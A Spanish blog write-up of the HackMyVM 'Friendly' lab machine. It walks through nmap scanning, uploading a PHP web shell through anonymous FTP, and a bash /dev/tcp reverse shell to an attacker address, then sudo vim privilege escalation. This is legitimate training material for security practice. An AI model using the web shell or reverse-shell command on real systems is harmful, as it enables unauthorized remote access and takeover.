Entrada

Friendly

En este artículo, abordaremos la resolución de la máquina Friendly de la plataforma HackMyVM. La máquina presenta un servicio FTP, al cual accedemos utilizando el usuario anonymous, que cuenta con la capacidad de cargar archivos en el servidor. Aprovechando esta funcionalidad, conseguimos cargar un archivo con extensión .php y logramos que sea interpretado por el servidor web Apache que se encuentra en ejecución en el puerto 80. De esta manera, logramos obtener acceso al sistema al ejecutar una reverse shell. Para culminar, explotamos una configuración inadecuada de sudo para elevar nuestros privilegios, logrando así una exitosa escalada de privilegios.

Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Friendly Reconocimento usando el comando ping

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

Enumeración

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

1
nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.10.15 -oG scanPorts -vvv

Friendly Descubrimiento de puertos abiertos

Parámetros utilizados:

  • -sS: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535).
  • --open: Solo considerar puertos abiertos.
  • --min-rate 5000: Establece el número mínimo de paquetes que nmap enviará por segundo.
  • -Pn: Desactiva el descubrimiento de host por medio de ping.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
  • -oG: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.

Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

1
nmap -sCV -p22,80 10.10.10.15 -oN targeted -vvv

Friendly Descubrimiento de versión y servicio con nmap

Parámetros utilizados:

  • -sCV Es la combinación de los parámetros -sC y -sV. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535)
  • -oN: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivo targeted. En este caso, utiliza el formato por defecto de nmap.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra. `

Explotación

FTP - Anonymous

Como observamos en el escaneo anterior, el servicio ftp permite acceder con el usuario anonymous. En este caso, debemos ingresar como contraseña anonymous@10.10.10.15. Al listar el contenido, nos encontramos con un archivo index.html el cual nos descargamos para ver su contenido.

Friendly FTP - Descarga de index.html

Si miramos el contenido del fichero index.html, vemos que se corresponde con el tipico archivo de una instancia de Apache.

Friendly Fichero index.html

Al ingresar al sitio web que esta corriendo bajo el puerto 80, nos encontramos con la página por defecto de una instancia de Apache, lo cual nos hace pensar que es el mismo archivo que nos descargamos. En otras palabras, tenemos acceso al servidor web por medio de ftp.

Friendly Web por defecto Apache

Intentos subir un archivo con extensión .php para ver si el servidor interpreta este lenguaje.

1
2
3
<?php
# shell.php
system($_GET['cmd']);

Friendly Subida de fichero shell.php

Si accedemos desde el navegador al archivo shell.php, vemos que efectivamente se esta interprentado el código php, lo que nos concede la capacidad de ejecutar comandos..

Friendly POC shell.php

Reverse shell - www-data

Conociendo que tenemos capacidad de ejecución de comandos, ganemos acceso al sistema a través de una reverse shell.

En primer lugar, nos ponemos en escucha con netcat nc por el puerto 4444.

Friendly nc

Ejecutamos la reverse shell.

1
bash -c 'bash -i >%26 /dev/tcp/10.10.10.5/4444 0>%261'

Friendly Reverse Shell

De esta forma, ganamos acceso al sistema.

Friendly nc

Hacemos un tratamiento de la tty para tener una terminal más interactiva:

  • script /dev/null -c bash
  • CTRL + Z
  • stty raw -echo; fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows <rows> columns <columns>

Y ya podemos leer el flag de user.txt.

Friendly user.txt

Escalación de privilegios

Enumeración del sistema

Luego de realizar una enumeración básica del sistema, vemos que el usuario RiJaba1 puede ejecutar con sudo y sin solicitar contraseña el binario vim.

Si hacemos una búsqueda en GTFOBins, podemos ver que existen varias alternativas de poder escalar nuestros privilegios en este contexto GTFOBins - vim, en este caso, usare la primera de ellas.

Friendly sudo -l

Friendly GTFOBins - vim

De esta manera, escalamos nuestros privilegios.

Friendly Shell como root

Pero aún no encontramos el flag de root, ya que como indica el mensaje debemos buscar otro archivo root.txt.

Friendly root.txt

Para lo cual, podemos hacer uso del comando find.

1
find / -name root.txt 2>/dev/null

Una vez que encontramos el archivo, podemos leer su contenido.

Friendly root.txt

De esta forma, llegamos al final del Write-up de la máquina Friendly.

Como siempre, espero que los conceptos hayan quedado claros. Si has llegado hasta este punto y aún tienes dudas, te recomiendo volver a realizar la máquina.

Gracias por tu lectura!

Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.